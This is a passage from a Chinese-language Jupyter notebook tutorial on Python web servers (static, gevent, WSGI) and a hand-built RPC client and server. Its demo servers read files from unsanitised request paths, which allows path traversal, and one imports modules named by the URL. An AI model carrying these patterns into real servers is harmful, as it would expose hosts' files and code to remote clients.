(/xxx.html) HTTP/1.1\n", " # 不匹配开头结尾也行：re.match(\"[^/]+(/[^ ]*).+\", msg)\n", " filename = \"/index.html\"\n", " ret = re.match(\"^[^/]+(/[^ ]*).+$\", msg)\n", " if ret:\n", " page = ret.group(1) # 请求页面\n", " if not page == \"/\":\n", " filename = page\n", "\n", " # 获取本地文件\n", " data = self.read_file(filename)\n", " # 回复浏览器\n", " self.client_socket.send(\n", " b\"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n\"\n", " )\n", " self.client_socket.send(data)\n", "\n", " # 获取本地文件内容\n", " def read_file(self, filename):\n", " print(\"请求页面:\", filename)\n", " path = f\"./root{filename}\"\n", " # 没有这个文件就定位到404页面\n", " if not os.path.exists(path):\n", " path = \"./root/404.html\"\n", " print(\"本地路径:\", path)\n", " # 读取页面并返回\n", " with open(path, \"rb\") as fs:\n", " return fs.read()\n", "\n", "if __name__ == \"__main__\":\n", " WebServer()\n", "```\n", "演示图示：\n", "![2.webserver2.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181127203807399-1268921521.gif)\n", "\n", "### 协程版静态服务器\n", "\n", "这个比较简单，并发编程中的协程篇有讲，这边简单说下：\n", "1. `import gevent`\n", "2. `from gevent import monkey`\n", " - `monkey`不在`__all__`中，需要自己导入\n", "3. `monkey.patch_all()`打个补丁\n", "4. `gevent.spawn(方法名,参数)`\n", "\n", "```py\n", "import os\n", "import re\n", "import socket\n", "import gevent\n", "from gevent import monkey # monkey不在__all__中，需要自己导入\n", "\n", "# 》》》看这\n", "monkey.patch_all() # 打补丁\n", "\n", "class WebServer(object):\n", " def __init__(self):\n", " with socket.socket() as tcp_socket:\n", " # 防止端口占用\n", " tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " # 绑定端口\n", " tcp_socket.bind(('', 8080))\n", " # 监听\n", " tcp_socket.listen()\n", " # 等待客户端连接\n", " while True:\n", " self.client_socket, self.client_addr = tcp_socket.accept()\n", " # 》》》看这\n", " t = gevent.spawn(self.handle)\n", " t.daemon = True\n", " t.run()\n", "\n", " # 处理请求\n", " def handle(self):\n", " with self.client_socket:\n", " print(f\"[来自{self.client_addr}的消息：\")\n", " data = self.client_socket.recv(2048)\n", " if data:\n", " msg, _ = data.decode(\"utf-8\").split(\"\\r\\n\", 1)\n", " self.respose(msg)\n", "\n", " # 相应浏览器\n", " def respose(self, msg):\n", " # GET (/xxx.html) HTTP/1.1\n", " # 不匹配开头结尾也行：re.match(\"[^/]+(/[^ ]*).+\", msg)\n", " filename = \"/index.html\"\n", " ret = re.match(\"^[^/]+(/[^ ]*).+$\", msg)\n", " if ret:\n", " page = ret.group(1) # 请求页面\n", " if not page == \"/\":\n", " filename = page\n", "\n", " # 获取本地文件\n", " data = self.read_file(filename)\n", " # 回复浏览器\n", " self.client_socket.send(\n", " b\"HTTP/1.1 200 ok\\r\\nContent-Type: text/html;charset=utf-8\\r\\n\\r\\n\"\n", " )\n", " self.client_socket.send(data)\n", "\n", " # 获取本地文件内容\n", " def read_file(self, filename):\n", " print(\"请求页面:\", filename)\n", " path = f\"./root{filename}\"\n", " # 没有这个文件就定位到404页面\n", " if not os.path.exists(path):\n", " path = \"./root/404.html\"\n", " print(\"本地路径:\", path)\n", " # 读取页面并返回\n", " with open(path, \"rb\") as fs:\n", " return fs.read()\n", "\n", "if __name__ == \"__main__\":\n", " WebServer()\n", "```\n", "\n", "下次会进入网络的深入篇" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# 深入篇\n", "\n", "上节回顾：5种IO模型 | IO多路复用\n", "\n", "官方文档：https://docs.python.org/3/library/internet.html\n", "\n", "## 1.概念回顾\n", "\n", "### 1.1.TCP三次握手\n", "\n", "画一张图来通俗化讲讲TCP三次握手：\n", "![1.通俗化讲](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181205114500555-365276192.png)\n", "\n", "用代码来说，大概过程就是：\n", "![1.tcp3次握手.png](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181205123429166-1669902371.png)\n", "\n", "### 1.2.TCP四次挥手\n", "\n", "画图通俗讲下TCP四次挥手：\n", "![2.tcp4次挥手.png](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181205122112738-1876526337.png)\n", "\n", "用代码来说，大概过程就是：\n", "![2.tcp4次挥手2.png](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181205125335632-1770696312.png)\n", "\n", "> 其实这个也很好的解释了之前的端口占用问题，如果是服务端先断开连接，那么服务器就是四次挥手的发送方，`最后一次消息是得不到回复的，端口就会保留一段时间`（服务端的端口固定）也就会出现端口占用的情况。如果是客户端先断开，那下次连接会自动换个端口，不影响（客户端的端口是随机分配的）\n", "\n", "PS：之前我们讲端口就是`send`一个空消息，很多人不是很清楚，这边简单验证下就懂了：\n", "![2.测试.gif](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181205125321854-1621157532.gif)\n", "\n", "### 1.3.HTTP\n", "\n", "之前其实已经写了个简版的Web服务器了，简单回顾下流程：\n", "1. 输入要访问的网址，在回车的那一瞬间浏览器和服务器建立了**`TCP三次握手`**\n", "2. 然后浏览器`send`一个http的请求报文，服务器接`recv`之后进行相应的处理并返回对应的页面\n", "3. 浏览器关闭页面时（`client close`），进行了**`TCP四次挥手`**\n", "\n", "然后简单说下**HTTP状态码**：\n", "1. **20x系列**：服务器正常响应\n", "2. **30x系列**：重定向\n", " - 301：代表永久重定向，浏览器下次访问这个页面就直接去目的url了（不推荐）\n", " - **302**：临时重定向，项目升级之后Url经常变，这个302经常用\n", " - eg:访问`baidu.com` =302=> `www.baidu.com`\n", " - **304**：这个是重定向到本地缓存（之前NodeJS说过就不详细说了）\n", " - 服务器文件没更新，浏览器就直接访问本地缓存了\n", "3. **40x系列**：一般都是客户端请求有问题\n", " - eg: `404 not found`\n", "4. **50x系列**：一般都是服务端出问题了\n", " - eg：`500 Server Error`\n", "\n", "## 2.动态服务器（`WSGI`）\n", "\n", "### 2.1.简化版动态服务器\n", "\n", "我们先自己定义一个动态服务器：\n", "```py\n", "import re\n", "import socket\n", "\n", "class HTTPServer(object):\n", " def __init__(self):\n", " with socket.socket() as tcp_server:\n", " tcp_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " tcp_server.bind(('', 8080))\n", " tcp_server.listen()\n", " while True:\n", " self.client_socket, self.client_address = tcp_server.accept()\n", " self.handle()\n", "\n", " def response(self, status, body=None):\n", " print(status)\n", " header = f\"HTTP/1.1 {status}\\r\\n\\r\\n\"\n", " with self.client_socket:\n", " self.client_socket.send(header.encode(\"utf-8\"))\n", " if body:\n", " self.client_socket.send(body)\n", "\n", " def __static_handler(self, name):\n", " try:\n", " with open(f\"./www{name}\", \"rb\") as fs:\n", " return fs.read()\n", " except Exception as ex:\n", " print(ex)\n", " return None\n", "\n", " def __dynamic_handler(self, name):\n", " try:\n", " m = __import__(name)\n", " return m.application().encode(\"utf-8\")\n", " except Exception as ex:\n", " print(ex)\n", " return None\n", "\n", " def handle(self):\n", " with self.client_socket:\n", " print(f\"[来自{self.client_address}的消息:]\\n\")\n", " data = self.client_socket.recv(2048)\n", " if data:\n", " header, _ = data.decode(\"utf-8\").split(\"\\r\\n\", 1)\n", " print(header)\n", " # GET /xxx HTTP/1.1\n", " ret = re.match(\"^\\w+? (/[^ ]*) .+$\", header)\n", " if ret:\n", " url = ret.groups(1)[0]\n", " # Python三元表达式(之前好像忘说了)\n", " url = \"/index.html\" if url == \"/\" else url\n", " print(\"请求url:\", url)\n", " body = str()\n", " # 动态页面\n", " if \".py\" in url:\n", " # 提取模块名(把开头的/和.py排除)\n", " body = self.__dynamic_handler(url[1:-3])\n", " else: # 静态服务器\n", " body = self.__static_handler(url)\n", " # 根据返回的body内容，返回对应的响应码\n", " if body:\n", " self.response(\"200 ok\", body)\n", " else:\n", " self.response(\"404 Not Found\")\n", " else: # 匹配不到url（基本上不会发生，不排除恶意修改）\n", " self.response((404, \"404 Not Found\"))\n", "\n", "if __name__ == \"__main__\":\n", " import sys\n", " # 防止 __import__ 导入模块的时候找不到，忘了可以查看：\n", " # https://www.cnblogs.com/dotnetcrazy/p/9253087.html#5.自己添加模块路径\n", " sys.path.insert(1, \"./www/bin\")\n", " HTTPServer()\n", "```\n", "效果：\n", "![3.动态服务器.gif](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181220225042640-538122531.gif)\n", "\n", "代码不难其中有个技术点说下：`模块名为字符串怎么导入`？\n", "```py\n", "# test.py\n", "# 如果模块名是字符串，需要使用__import__\n", "s = \"time\"\n", "time = __import__(s)\n", "\n", "def application():\n", " return time.ctime() # 返回字符串\n", "\n", "if __name__ == \"__main__\":\n", " time_str = application()\n", " print(type(time_str))\n", " print(time_str)\n", "```\n", "输出：\n", "```\n", "\n", "Thu Dec 20 22:48:07 2018\n", "```\n", "\n", "### 2.2.路由版动态服务器\n", "\n", "和上面基本一样，多了个路由表（`self.router_urls`）而已\n", "\n", "```py\n", "import re\n", "import socket\n", "\n", "class HttpServer(object):\n", " def __init__(self):\n", " # 路由表\n", " self.router_urls = {\"/test\": \"/test.py\", \"/user\": \"/test2.py\"}\n", "\n", " def run(self):\n", " with socket.socket() as server:\n", " # 端口复用\n", " server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " server.bind((\"\", 8080))\n", " server.listen()\n", " while True:\n", " self.client_socket, self.client_address = server.accept()\n", " print(f\"[{self.client_address}已上线]\")\n", " self.handler()\n", "\n", " def response(self, status, body=None):\n", " with self.client_socket as socket:\n", " header = f\"HTTP/1.1 {status}\\r\\n\\r\\n\"\n", " socket.send(header.encode(\"utf-8\"))\n", " if body:\n", " socket.send(body)\n", "\n", " def __static_handler(self, name):\n", " try:\n", " with open(f\"./www{name}\", \"rb\") as fs:\n", " return fs.read()\n", " except Exception as ex:\n", " print(ex)\n", " return None\n", "\n", " def __dynamic_handler(self, name):\n", " try:\n", " m = __import__(name)\n", " return m.application().encode(\"utf-8\")\n", " except Exception as ex:\n", " print(ex)\n", " return None\n", "\n", " def handler(self):\n", " data = self.client_socket.recv(2048)\n", " if data:\n", " header, _ = data.decode(\"utf-8\").split(\"\\r\\n\", 1)\n", " # GET /xxx HTTP/1.1\n", " ret = re.match(\"^\\w+? (/[^ ]*) .+$\", header)\n", " if ret:\n", " url = ret.group(1)\n", " print(url) # print url log\n", " body = None\n", " # 路由有记录：动态页面\n", " if url in self.router_urls.keys():\n", " url = self.router_urls[url]\n", " # 切片提取模块名\n", " body = self.__dynamic_handler(url[1:-3])\n", " else: # 静态服务器\n", " if url == \"/\":\n", " url = \"/index.html\"\n", " body = self.__static_handler(url)\n", " # 没有这个页面或者出错\n", " if body:\n", " self.response(\"200 ok\", body)\n", " else:\n", " self.response(\"404 Not Found\")\n", " else:\n", " # 404\n", " self.response(\"404 Not Found\")\n", " else:\n", " print(f\"{self.client_address}已下线\")\n", " self.client_socket.close()\n", "\n", "if __name__ == \"__main__\":\n", " import sys\n", " # 临时添加模块所在路径\n", " sys.path.insert(1, \"./www/bin\")\n", " HttpServer().run()\n", "```\n", "输出：\n", "![4.含路由的动态服务器.png](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181223212958956-2133076563.png)\n", "\n", "看一眼`test2.py`：\n", "```py\n", "# test2.py\n", "def application():\n", " return \"My Name Is XiaoMing\"\n", "\n", "if __name__ == \"__main__\":\n", " print(application())\n", "```\n", "\n", "### 2.3.官方接口版\n", "\n", "官方文档：https://docs.python.org/3/library/wsgiref.html\n", "\n", "其实Python官方提供了一个`WSGI：Web Server Gateway Interface`的约定：\n", "> 它只要求Web开发者实现一个`application`函数，就可以响应HTTP请求\n", "\n", "#### 2.3.1演示\n", "\n", "eg：(只要对应的python文件提供了 **`application(env,start_response)`** 方法就行了)\n", "```py\n", "# hello.py\n", "# env 是一个字典类型\n", "def application(env, start_response):\n", " # 设置动态页面的响应头（回头服务器会再加上自己的响应头）\n", " # 列表里面的 item 是 tuple\n", " start_response(\"200 OK\", [(\"Content-Type\", \"text/html\")])\n", " # 返回一个列表\n", " return [\"

This is Test!

\".encode(\"utf-8\")]\n", "```\n", "\n", "先使用官方的简单服务器看看：\n", "```py\n", "from wsgiref.simple_server import make_server\n", "# 导入我们自己编写的application函数:\n", "from hello import application\n", "\n", "# 创建一个服务器，端口是8080，处理函数是application:\n", "httpd = make_server('', 8080, application)\n", "print('Serving HTTP on port 8080...')\n", "# 开始监听HTTP请求:\n", "httpd.serve_forever()\n", "```\n", "运行后效果：`127.0.0.1:8080`\n", "```\n", "This is Test!\n", "```\n", "\n", "如果把`hello.py`改成下面代码（服务端不变），那么就可以获取一些请求信息了：\n", "```py\n", "def application(env, start_response):\n", " print(env[\"PATH_INFO\"])\n", " start_response(\"200 OK\", [(\"Content-Type\", \"text/html\")])\n", " return [f'

Hello, {env[\"PATH_INFO\"][1:] or \"web\"}!

'.encode(\"utf-8\")]\n", "```\n", "输出：\n", "![5.env.png](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181224171506893-1890969108.png)\n", "\n", "#### 2.3.2说明\n", "\n", "上面的`application()`函数就是符合`WSGI`标准的一个`HTTP处理函数`，它接收两个参数：\n", "1. `environ`：一个包含所有HTTP请求信息的`dict`对象；\n", "2. `start_response`：一个发送HTTP响应的函数（调用服务器定义的方法）\n", " - **`Header`只能发送一次 ==> 只能调用一次`start_response()`函数**\n", "\n", "**有了`WSGI`，我们关心的就是如何从`env`这个`dict`对象拿到`HTTP请求信息`，然后`构造HTML`，通过`start_response()`发送`Header`，最后返回`Body内容`**\n", "\n", "Python内置了一个`WSGI`服务器，这个模块叫`wsgiref`，它是用纯`Python`编写的`WSGI`服务器的参考实现(完全符合`WSGI`标准，但是不考虑任何运行效率，仅供开发和测试使用)\n", "\n", "**PS：这样的好处就是，只要符合`WSGI`规范的服务器，我们都可以直接使用了**\n", "\n", "其实通过源码就可以知道这个`WSGIServer`到底是何方神圣了：\n", "```py\n", "class WSGIServer(HTTPServer):\n", " pass\n", "\n", "# HTTPServer其实就是基于TCPServer\n", "class HTTPServer(socketserver.TCPServer):\n", " pass\n", "\n", "# 这个就是我们开头说的Python封装的简单WebServer了\n", "class TCPServer(BaseServer):\n", " pass\n", "```\n", "\n", "如果还是记不得可以回顾下上次说的内容，提示：\n", "```py\n", "__all__ = [\"BaseServer\", \"TCPServer\", \"UDPServer\",\n", " \"ThreadingUDPServer\", \"ThreadingTCPServer\",\n", " \"BaseRequestHandler\", \"StreamRequestHandler\",\n", " \"DatagramRequestHandler\", \"ThreadingMixIn\"]\n", "```\n", "\n", "如果你想要在这个基础上进行处理，可以和上面说的一样，定义一个继承`class WSGIRequestHandler(BaseHTTPRequestHandler)`的类，然后再处理\n", "\n", "#### 2.3.3.自定义\n", "\n", "在本小节结束前我们模仿一下示例，定义一个符合`WSGI`规范的简单服务器：\n", "\n", "```py\n", "import re\n", "import socket\n", "from index import WebFrame\n", "\n", "class WSGIServer(object):\n", " def __init__(self):\n", " # 请求头\n", " self.env = dict()\n", " # 存放处理后的响应头\n", " self.response_headers = str()\n", "\n", " def run(self):\n", " with socket.socket() as server:\n", " server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " server.bind((\"\", 8080))\n", " server.listen()\n", " while True:\n", " self.client_socket, self.client_address = server.accept()\n", " self.handler()\n", "\n", " # 转换浏览器请求头格式\n", " def request_headers_handler(self, headers):\n", " # 过滤一下空字符串（不能过滤空列表）\n", " headers = list(filter(None, headers.split(\"\\r\\n\")))\n", " # 提取 Method 和 Url\n", " ret = re.match(\"^([\\w]+?) (/[^ ]*?) .+$\", headers[0])\n", " if ret:\n", " self.env[\"method\"] = ret.group(1)\n", " url = ret.group(2)\n", " print(url)\n", " self.env[\"path\"] = \"/index.html\" if url == \"/\" else url\n", " else:\n", " return None\n", " # [['Host', ' localhost:8080'], ['Connection', ' keep-alive']...]\n", " array = map(lambda item: item.split(\":\", 1), headers[1:])\n", " for item in array:\n", " self.env[item[0].lower()] = item[1]\n", " # print(self.env)\n", " return \"ok\"\n", "\n", " # 响应客户端（吐槽一下，request和response的headers为毛格式不一样，这设计真不合理！）\n", " def start_response(self, status, header_list=[]):\n", " # 响应头\n", " self.response_headers = f\"HTTP/1.1 {status}\\r\\n\"\n", " for item in header_list:\n", " self.response_headers += f\"{item[0]}:{item[1]}\\r\\n\"\n", " # print(self.response_headers)\n", "\n", " # 响应浏览器\n", " def response(self, body):\n", " with self.client_socket as client:\n", " # 省略一系列服务器响应的headers\n", " self.response_headers += \"server:WSGIServer\\r\\n\\r\\n\"\n", " client.send(self.response_headers.encode(\"utf-8\"))\n", " if body:\n", " client.send(body)\n", "\n", " def handler(self):\n", " with self.client_socket as client:\n", " data = client.recv(2048)\n", " if data:\n", " # 浏览器请求头\n", " headers = data.decode(\"utf-8\")\n", " if self.request_headers_handler(headers):\n", " # 模仿php所有请求都一个文件处理\n", " body = WebFrame().application(self.env,\n", " self.start_response)\n", " # 响应浏览器\n", " self.response(body)\n", " else:\n", " self.start_response(\"404 Not Found\")\n", " else:\n", " client.close()\n", "\n", "if __name__ == \"__main__\":\n", " WSGIServer().run()\n", "```\n", "自己定义的框架：\n", "```py\n", "class WebFrame(object):\n", " def __init__(self):\n", " # 路由表\n", " self.router_urls = {\"/time\": \"get_time\", \"/user\": \"get_name\"}\n", "\n", " def get_time(self):\n", " import time\n", " return time.ctime().encode(\"utf-8\")\n", "\n", " def get_name(self):\n", " return \"

My Name Is XiaoMing

\".encode(\"utf-8\")\n", "\n", " def application(self, env, start_response):\n", " body = b\"\"\n", " url = env[\"path\"]\n", " # 请求的页面都映射到路由对应的方法中\n", " if url in self.router_urls.keys():\n", " func = self.router_urls[url]\n", " body = getattr(self, func)()\n", " else:\n", " # 否则就请求对应的静态资源\n", " try:\n", " with open(f\"./www{url}\", \"rb\") as fs:\n", " body = fs.read()\n", " except Exception as ex:\n", " start_response(\"404 Not Found\")\n", " print(ex)\n", " return b\"404 Not Found\" # 出错就直接返回了\n", " # 返回对应的页面响应头\n", " start_response(\"200 ok\", [(\"Content-Type\", \"text/html\"),\n", " (\"Scripts\", \"Python\")])\n", " return body\n", "```\n", "输出：\n", "![6.wsgi.png](https://img2018.cnblogs.com/blog/1127869/201812/1127869-20181224210337177-1740193991.png)\n", "\n", "知识扩展：\n", "```\n", "从wsgiref模块导入\n", "https://docs.python.org/3/library/wsgiref.html\n", "\n", "Python服务器网关接口\n", "https://www.python.org/dev/peps/pep-3333/\n", "\n", "Python原始套接字和流量嗅探\n", "https://blog.csdn.net/cj1112/article/details/51303021\n", "https://blog.csdn.net/peng314899581/article/details/78082244\n", "\n", "【源码阅读】轻量级Web框架：bottle\n", "https://github.com/bottlepy/bottle\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 3.RPC引入\n", "\n", "上篇回顾：万物互联之~深入篇\n", "\n", "其他专栏最新篇：协程加强之~兼容答疑篇 | 聊聊数据库~SQL环境篇\n", "\n", "Code：\n", "\n", "### 3.1.概念\n", "\n", "`RPC`(`Remote Procedure Call`)：分布式系统常见的一种通信方法（**远程过程调用**），通俗讲：**可以一台计算机的程序调用另一台计算机的子程序**（可以把它看成之前我们说的进程间通信，只不过这一次的进程不在同一台PC上了）\n", "\n", "**PS：`RPC`的设计思想是力图使远程调用中的通讯细节对于使用者透明，调用双方无需关心网络通讯的具体实现**\n", "\n", "引用一张网上的图:\n", "![1.rpc.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116092121587-579261271.png)\n", "\n", "和`HTTP`有点相似，你可以这样理解：\n", "1. 老版本的`HTTP/1.0`是短链接，而`RPC`是长连接进行通信\n", " - HTTP协议（header、body），RPC可以采取HTTP协议，也可以自定义二进制格式\n", "2. 后来`HTTP/1.1`支持了长连接(`Connection:keep-alive`)，基本上和`RPC`差不多了\n", " - 但**`keep-alive`一般都限制有最长时间，或者最多处理的请求数，而`RPC`是基于长连接的，基本上没有这个限制**\n", "3. 后来谷歌直接基于`HTTP/2.0`建立了`gRPC`，它们之间的基本上也就差不多了\n", " - 如果硬是要区分就是：**`HTTP-普通话`**和**`RPC-方言`**的区别了\n", " - **RPC高效而小众，HTTP效率没RPC高，但更通用**\n", "4. PS：**`RPC`和`HTTP`调用不用经过中间件，而是端到端的直接数据交互**\n", " - 网络交互可以理解为基于`Socket`实现的（`RPC`、`HTTP`都是`Socket`的读写操作）\n", "\n", "简单概括一下`RPC`的优缺点就是：\n", "1. 优点：\n", " 1. **效率更高**（可以自定义二进制格式）\n", " 2. 发起RPC调用的一方，在编写代码时可忽略RPC的具体实现（**跟编写本地函数调用一般**）\n", "2. 缺点：\n", " - **通用性不如HTTP**（方言普及程度肯定不如普通话），如果传输协议不是HTTP协议格式，调用双方就需要专门实现通信库\n", "\n", "**PS：HTTP更多是`Client`与`Server`的通讯;`RPC`更多是内部服务器间的通讯**\n", "\n", "### 3.2.引入\n", "\n", "上面说这么多，可能还没有来个案例实在，我们看个案例：\n", "\n", "**本地调用`sum()`**：\n", "```py\n", "def sum(a, b):\n", " \"\"\"return a+b\"\"\"\n", " return a + b\n", "\n", "def main():\n", " result = sum(1, 2)\n", " print(f\"1+2={result}\")\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "输出：（这个大家都知道）\n", "```\n", "1+2=3\n", "```\n", "\n", "#### 1.xmlrpc案例\n", "\n", "官方文档：\n", "```\n", "https://docs.python.org/3/library/xmlrpc.client.html\n", "https://docs.python.org/3/library/xmlrpc.server.html\n", "```\n", "\n", "都说`RPC`用起来就像本地调用一样，那么用起来啥样呢？看个案例：\n", "\n", "服务端：(**CentOS7：`192.168.36.123:50051`**)\n", "```py\n", "from xmlrpc.server import SimpleXMLRPCServer\n", "\n", "def sum(a, b):\n", " \"\"\"return a+b\"\"\"\n", " return a + b\n", "\n", "# PS：50051是gRPC默认端口\n", "server = SimpleXMLRPCServer(('', 50051))\n", "# 把函数注册到RPC服务器中\n", "server.register_function(sum)\n", "print(\"Server启动ing，Port：50051\")\n", "server.serve_forever()\n", "```\n", "\n", "客户端：（**Win10：`192.168.36.144`**）\n", "```py\n", "from xmlrpc.client import ServerProxy\n", "\n", "stub = ServerProxy(\"http://192.168.36.123:50051\")\n", "result = stub.sum(1, 2)\n", "print(f\"1+2={result}\")\n", "```\n", "输出：（`Client`用起来是不是和本地差不多？就是通过代理访问了下`RPCServer`而已）\n", "```\n", "1+2=3\n", "```\n", "\n", "![2.server.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116103749140-1803787161.png)\n", "\n", "PS：`CentOS`服务器不是你绑定个端口就一定能访问的，如果不能记让**防火墙开放对应的端口**\n", "\n", "这个之前在说`MariaDB`环境的时候有详细说：\n", "\n", "```shell\n", "# 添加 --permanent永久生效(没有此参数重启后失效)\n", "firewall-cmd --zone=public --add-port=80/tcp --permanent\n", "```\n", "\n", "#### 2.ZeroRPC案例：\n", "\n", "zeroRPC用起来和这个差不多，也简单举个例子吧：\n", "\n", "**把服务的某个方法注册到`RPCServer`中，供外部服务调用**\n", "```py\n", "import zerorpc\n", "\n", "class Test(object):\n", " def say_hi(self, name):\n", " return f\"Hi，My Name is{name}\"\n", "\n", "\n", "# 注册一个Test的实例\n", "server = zerorpc.Server(Test())\n", "server.bind(\"tcp://0.0.0.0:50051\")\n", "server.run()\n", "```\n", "\n", "**调用服务端代码**：\n", "```py\n", "import zerorpc\n", "\n", "client = zerorpc.Client(\"tcp://192.168.36.123:50051\")\n", "result = client.say_hi(\"RPC\")\n", "print(result)\n", "```\n", "\n", "### 3.3.简单版自定义RPC\n", "\n", "看了上面的引入案例，是不是感觉`RPC`不过如此？NoNoNo，要是真这么简单也就谈不上`RPC架构`了，上面两个是最简单的RPC服务了，可以这么说：生产环境基本上用不到，只能当案例练习罢了，对Python来说，最常用的RPC就两个**`gRPC` and `Thrift`**\n", "\n", "PS：国产最出名的是**`Dubbo` and `Tars`**，Net最常用的是`gRPC`、`Thrift`、`Surging`\n", "\n", "#### 1.RPC服务的流程\n", "\n", "要自己实现一个`RPC Server`那么就得了解整个流程了：\n", "1. `Client`（调用者）以本地调用的方式发起调用\n", "2. 通过`RPC`服务进行**远程过程调用**（RPC的目标就是要把这些步骤都封装起来，让使用者感觉不到这个过程）\n", " 1. 客户端的`RPC Proxy`组件收到调用后，负责**将被调用的`方法名、参数`等打包编码成自定义的协议**\n", " 2. 客户端的`RPC Proxy`组件在打包完成后通过网络把数据包发送给`RPC Server`\n", " 3. 服务端的`RPC Proxy`组件把通过网络接收到的数据包按照相应格式进行**`拆包解码`，获取方法名和参数**\n", " 4. 服务端的`RPC Proxy`组件**根据方法名和参数进行本地调用**\n", " 5. **`RPC Server`**（被调用者）本地执行后将结果返回给服务端的`RPC Proxy`\n", " 6. 服务端的`RPC Proxy`组件将返回值打包编码成自定义的协议数据包，并通过网络发送给客户端的`RPC Proxy`组件\n", " 7. 客户端的`RPC Proxy`组件收到数据包后，进行拆包解码，把数据返回给`Client`\n", "3. `Client`（调用者）得到本次`RPC`调用的返回结果\n", "\n", "用一张时序图来描述下整个过程：\n", "![4.时序图.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116224934398-1277123948.png)\n", "\n", "PS：`RPC Proxy`有时候也叫`Stub`（存根）：(Client Stub，Server Stub)\n", "> 为屏蔽客户调用远程主机上的对象，必须提供某种方式来模拟本地对象,这种本地对象称为存根(stub),存根负责接收本地方法调用,并将它们委派给各自的具体实现对象\n", "\n", "PRC服务实现的过程中其实就两核心点：\n", "1. 消息协议：客户端调用的参数和服务端的返回值这些在网络上传输的数据以何种方式打包编码和拆包解码\n", " - 经典代表：**`Protocol Buffers`**\n", "2. 传输控制：在网络中数据的收发传输控制具体如何实现（`TCP/UDP/HTTP`）\n", "\n", "#### 2.手写RPC\n", "\n", "下面我们就根据上面的流程来手写一个简单的RPC：\n", "\n", "1.Client调用：\n", "```py\n", "# client.py\n", "from client_stub import ClientStub\n", "\n", "def main():\n", " stub = ClientStub((\"192.168.36.144\", 50051))\n", "\n", " result = stub.get(\"sum\", (1, 2))\n", " print(f\"1+2={result}\")\n", "\n", " result = stub.get(\"sum\", (1.1, 2))\n", " print(f\"1.1+2={result}\")\n", "\n", " time_str = stub.get(\"get_time\")\n", " print(time_str)\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "输出:\n", "```\n", "1+2=3\n", "1.1+2=3.1\n", "Wed Jan 16 22\n", "```\n", "\n", "2.Client Stub，客户端存根：(主要有`打包`、`解包`、和`RPC服务器通信`的方法)\n", "```py\n", "# client_stub.py\n", "import socket\n", "\n", "class ClientStub(object):\n", " def __init__(self, address):\n", " \"\"\"address ==> (ip,port)\"\"\"\n", " self.socket = socket.socket()\n", " self.socket.connect(address)\n", "\n", " def convert(self, obj):\n", " \"\"\"根据类型转换成对应的类型编号\"\"\"\n", " if isinstance(obj, int):\n", " return 1\n", " if isinstance(obj, float):\n", " return 2\n", " if isinstance(obj, str):\n", " return 3\n", "\n", " def pack(self, func, args):\n", " \"\"\"打包：把方法和参数拼接成自定义的协议\n", " 格式：func:函数名@params:类型-参数,类型2-参数2...\n", " \"\"\"\n", " result = f\"func:{func}\"\n", " if args:\n", " params = \"\"\n", " # params:类型-参数,类型2-参数2...\n", " for item in args:\n", " params += f\"{self.convert(item)}-{item},\"\n", " # 去除最后一个,\n", " result += f\"@params:{params[:-1]}\"\n", " # print(result) # log 输出\n", " return result.encode(\"utf-8\")\n", "\n", " def unpack(self, data):\n", " \"\"\"解包：获取返回结果\"\"\"\n", " msg = data.decode(\"utf-8\")\n", " # 格式应该是\"data:xxxx\"\n", " params = msg.split(\":\")\n", " if len(params) > 1:\n", " return params[1]\n", " return None\n", "\n", " def get(self, func, args=None):\n", " \"\"\"1.客户端的RPC Proxy组件收到调用后，负责将被调用的方法名、参数等打包编码成自定义的协议\"\"\"\n", " data = self.pack(func, args)\n", " # 2.客户端的RPC Proxy组件在打包完成后通过网络把数据包发送给RPC Server\n", " self.socket.send(data)\n", " # 等待服务端返回结果\n", " data = self.socket.recv(2048)\n", " if data:\n", " return self.unpack(data)\n", " return None\n", "```\n", "简要说明下：（我根据流程在Code里面标注了，看起来应该很轻松）\n", "\n", "之前有说到核心其实就是`消息协议`and`传输控制`，我`客户端存根`的消息协议是自定义的格式（后面会说简化方案）：**`func:函数名@params:类型-参数,类型2-参数2...`**，传输我是基于TCP进行了简单的封装\n", "\n", "---\n", "\n", "3.Server端：（实现很简单）\n", "```py\n", "# server.py\n", "import socket\n", "from server_stub import ServerStub\n", "\n", "class RPCServer(object):\n", " def __init__(self, address, mycode):\n", " self.mycode = mycode\n", " # 服务端存根（RPC Proxy）\n", " self.server_stub = ServerStub(mycode)\n", " # TCP Socket\n", " self.socket = socket.socket()\n", " # 端口复用\n", " self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " # 绑定端口\n", " self.socket.bind(address)\n", "\n", " def run(self):\n", " self.socket.listen()\n", " while True:\n", " # 等待客户端连接\n", " client_socket, client_addr = self.socket.accept()\n", " print(f\"来自{client_addr}的请求：\\n\")\n", " try:\n", " # 交给服务端存根（Server Proxy）处理\n", " self.server_stub.handle(client_socket, client_addr)\n", " except Exception as ex:\n", " print(ex)\n", "\n", "if __name__ == \"__main__\":\n", " from server_code import MyCode\n", " server = RPCServer(('', 50051), MyCode())\n", " print(\"Server启动ing，Port：50051\")\n", " server.run()\n", "```\n", "为了简洁，服务端代码我单独放在了`server_code.py`中：\n", "```py\n", "# 5.RPC 